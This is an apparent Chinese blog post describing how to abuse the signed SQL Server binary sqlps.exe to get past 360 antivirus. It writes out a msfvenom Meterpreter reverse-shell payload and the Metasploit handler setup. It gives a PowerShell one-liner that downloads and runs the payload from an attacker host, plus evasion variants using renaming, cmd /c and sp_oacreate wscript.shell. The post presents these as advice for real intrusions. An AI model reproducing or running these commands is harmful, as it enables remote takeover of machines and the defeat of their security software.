sqlps.exe白名单的利用(过S60!)

本文涉及的产品
云数据库 RDS SQL Server,独享型 2核4GB
简介: sqlps.exe白名单的利用(过S60!)

0x01 sqlps.exe简介

sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件,用于加载SQL Server cmdlet,Microsoft Visual C#开发,可用ILSpy反编译查看源代码。


Microsoft SQL Server\100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替换,但出于兼容性原因将包含在安装中。

    C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\sqlps.exe
    C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\sqlps.exe


    0x02 MSF监听并执行

    使用sqlps.exe执行360.ps1后会结束掉当前这个cmd.exe命令提示符,可能要延迟几秒MSF才接收到会话信息。

      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -f psh-reflection > /var/www/html/360.ps1
      msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
      msf5 exploit(multi/handler) > set lhost 192.168.1.120
      msf5 exploit(multi/handler) > set lport 443
      msf5 exploit(multi/handler) > exploit


      sqlps执行上线:

        SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"


        0x03 绕过360防护执行

        众所周知360和火绒对powershell.exe进程的调用监控的非常严, sqlps.exe也有可能已经被360拦截了,如下图。


        已被拦截:

          powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
          SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
          declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'


          但我们还是可以尝试使用加壳、反编译或者重命名和cmd /c等方式来绕过sqlps.exe的执行

          绕过方式:

            SQLPS1 -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
            cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
            declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\ProgramData\SQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.120/360.ps1''))"'


            0x04 注意事项

            实战中建议根据目标主机实际环境提取相对应版本的sqlps.exe,如单独提取出来的sqlps.exe在执行时可能会出现缺少依赖项等问题,常见的有以下两种报错。

            已测试的系统和sqlps.exe见下表,测试记录见下图。


            0x05 参考链接

            https://mp.weixin.qq.com/s/XkleeVDz80WZy4NZqXhEfA

            https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/

            相关实践学习
            使用SQL语句管理索引
            本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
            SQL Server on Linux入门教程
            SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情: https://www.aliyun.com/product/rds/sqlserver
            相关文章
            |
            Windows
            Windows 技术篇-文件管理器访问ftp服务失败,提示:“打开FTP服务器上的文件夹是发生错误,请检查是否有权限访问该文件夹。”问题解决方法
            Windows 技术篇-文件管理器访问ftp服务失败,提示:“打开FTP服务器上的文件夹是发生错误,请检查是否有权限访问该文件夹。”问题解决方法
            1763 0
            Windows 技术篇-文件管理器访问ftp服务失败,提示:“打开FTP服务器上的文件夹是发生错误,请检查是否有权限访问该文件夹。”问题解决方法
            |
            3月前
            |
            安全 数据安全/隐私保护
            利用mimikatz插件获取内网相关信息
            利用mimikatz插件获取内网相关信息
            17 1
            |
            8月前
            |
            移动开发 C# Python
            fsi.exe和cdb.exe白名单的利用
            fsi.exe和cdb.exe白名单的利用
            66 0
            |
            9月前
            |
            网络协议
            win7/win10内外网切换脚本
            当电脑需要内外网切换使用的时候,需要一次次设置静态IP或者自动获取IP,实在麻烦
            280 0
            |
            安全 Shell 网络安全
            【内网安全-横向移动】WMI-WMIC命令&相关内网工具
            【内网安全-横向移动】WMI-WMIC命令&相关内网工具
            489 0
            【内网安全-横向移动】WMI-WMIC命令&相关内网工具
            |
            网络安全
            ftp本机测试可以,外网访问提示:打开ftp服务器上的文件夹发生错误 请检查是否有权限
            防火墙有设置打开端口21,安全组也设置了端口21,本机用内网IP测试可以。
            ftp本机测试可以,外网访问提示:打开ftp服务器上的文件夹发生错误 请检查是否有权限
            |
            人工智能 Linux Shell
            linux 批量添加IP白名单脚本
            用数组将各个IP通过循环打印的方式生成多条命名
            1201 0
            Confluence 6 白名单允许进入和禁用
            允许进入 启用 CORS 请求,将会从特定的 URL 来源中允许进入(Allow Incoming)。URL 格式必须匹配格式 scheme://host[:port],结尾是没有反斜杠的(:port 是可选的)。
            885 0